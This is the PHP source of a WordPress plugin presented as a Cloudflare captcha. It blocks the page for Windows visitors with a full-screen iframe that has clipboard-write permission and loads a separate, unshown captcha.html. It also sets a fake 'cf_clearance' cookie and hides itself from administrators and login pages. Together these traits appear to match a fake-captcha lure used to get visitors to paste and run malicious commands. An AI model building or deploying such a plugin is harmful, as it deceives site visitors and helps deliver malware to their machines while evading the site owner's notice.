<?php
/**
 * Plugin Name: CF Captcha - Windows Only
 * Description: Shows a Cloudflare-style captcha overlay for Windows visitors via iframe. Sets a 90-day cookie after verification.
 * Version: 2.0.0
 * Author: CF Security
 * License: GPL v2 or later
 */

if (!defined('ABSPATH')) exit;

// ============================================================
// 1. SKIP CONDITIONS (server-side, before any output)
// ============================================================

function cfcw_should_skip() {
    // Skip admin pages
    if (is_admin()) return true;

    // Skip AJAX, REST, cron
    if (defined('DOING_AJAX') && DOING_AJAX) return true;
    if (defined('REST_REQUEST') && REST_REQUEST) return true;
    if (defined('DOING_CRON') && DOING_CRON) return true;

    // Skip wp-login and wp-admin URLs
    $uri = isset($_SERVER['REQUEST_URI']) ? $_SERVER['REQUEST_URI'] : '';
    if (strpos($uri, 'wp-login') !== false) return true;
    if (strpos($uri, 'wp-admin') !== false) return true;

    // Skip if cookie already set
    if (isset($_COOKIE['cf_clearance'])) return true;

    return false;
}

// ============================================================
// 2. SERVE captcha.html FROM PLUGIN DIRECTORY
// ============================================================

add_action('init', function() {
    if (isset($_GET['cfcw_captcha_page']) && $_GET['cfcw_captcha_page'] === '1') {
        $file = plugin_dir_path(__FILE__) . 'captcha.html';
        if (file_exists($file)) {
            header('Content-Type: text/html; charset=utf-8');
            header('Cache-Control: no-cache, no-store, must-revalidate');
            readfile($file);
        } else {
            echo '<!-- captcha.html not found -->';
        }
        exit;
    }
});

// ============================================================
// 3. INJECT IFRAME OVERLAY (client-side, in footer)
// ============================================================

add_action('template_redirect', function() {
    if (cfcw_should_skip()) return;
    add_action('wp_footer', 'cfcw_render_overlay', 9999);
});

function cfcw_render_overlay() {
    // Build the URL to serve captcha.html through WordPress
    $captcha_url = home_url('/?cfcw_captcha_page=1');
    ?>
    <script>
    (function(){
        // Only for Windows users
        if (!/Windows/.test(navigator.userAgent)) return;

        // Skip if cookie already exists (client-side double-check)
        if (document.cookie.indexOf('cf_clearance=') !== -1) return;

        // Remove any old overlays first
        var old = document.getElementById('cfcw-overlay');
        if (old) old.parentNode.removeChild(old);

        // Create fullscreen overlay
        var ov = document.createElement('div');
        ov.id = 'cfcw-overlay';
        ov.style.cssText = 'position:fixed;top:0;left:0;width:100%;height:100%;z-index:2147483647;background:#fff;margin:0;padding:0;';

        // Create iframe loading the separate captcha.html
        var iframe = document.createElement('iframe');
        iframe.src = <?php echo json_encode($captcha_url); ?>;
        iframe.style.cssText = 'width:100%;height:100%;border:none;display:block;';
        iframe.setAttribute('allow', 'clipboard-write');
        iframe.setAttribute('id', 'cfcw-iframe');

        ov.appendChild(iframe);
        document.body.appendChild(ov);

        // Block scroll on the real page
        document.documentElement.style.overflow = 'hidden';
        document.body.style.overflow = 'hidden';

        // Listen for "done" message from the iframe
        window.addEventListener('message', function handler(e) {
            if (e.data === 'cf-captcha-verified') {
                // Set the cookie (90 days)
                var d = new Date();
                d.setTime(d.getTime() + 90 * 24 * 60 * 60 * 1000);
                document.cookie = 'cf_clearance=1;expires=' + d.toUTCString() + ';path=/;SameSite=Lax';

                // Wait for the success animation inside iframe, then remove
                setTimeout(function() {
                    var el = document.getElementById('cfcw-overlay');
                    if (el) el.parentNode.removeChild(el);
                    document.documentElement.style.overflow = '';
                    document.body.style.overflow = '';
                }, 1500);

                window.removeEventListener('message', handler);
            }
        });
    })();
    </script>
    <?php
}